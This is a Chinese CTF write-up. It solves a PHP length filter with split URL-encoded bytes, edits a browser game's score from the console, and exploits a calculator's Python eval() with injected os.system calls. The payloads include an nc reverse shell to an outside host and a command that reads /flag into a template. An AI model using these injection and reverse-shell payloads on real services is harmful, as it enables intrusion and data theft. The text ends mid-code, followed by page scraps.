化零为整
题目
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
确实没有想到url编码还能拆开,重新拼回去还能成,涨姿势了。
Payload
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
传说之下(雾)

游戏说分数达到2077就可以得到flag,首先分析代码

游戏是Game这个对象
在控制台输入Game回车,把score修改,然后回到游戏点击开始,只要吃掉一个苹果你就会发现分数已经修改成功。

控制台成功弹出flag

算力超群

先简单抓包分析

可以看到GET传的参有number1,operator,number2
先给number2赋字母,会出现一个报错界面,给number1和operator赋的话会提示错误,应该是这两个参数有过滤,而number2没有。

这里可以看到有python的危险函数eval(),可以尝试命令执行
Payload:
/_calculate?number1=1&operator=-&number2=__import__ ('os').system(' nc ip port -e sh')

可以看到反弹成功
或者写文件回显
_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')
算力升级
改进官网payload,去掉了几句让大家更好理解,总之我们要通过字符串拼接构造出eval( __import__('os').popen('cat /flag').read())
import gmpy2
s = " __import__('os').popen('cat /flag').read()"
payload = "gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
for i in s:
if i not in "/'(). ":
temp_index

本文探讨了PHP代码中的算力挑战,包括URL编码拆分、eval函数利用,以及LSB探姬的文件上传漏洞。作者展示了如何通过精心构造payload绕过过滤,执行Python命令和文件操作,最终获得flag。

2660

被折叠的 条评论
为什么被折叠?



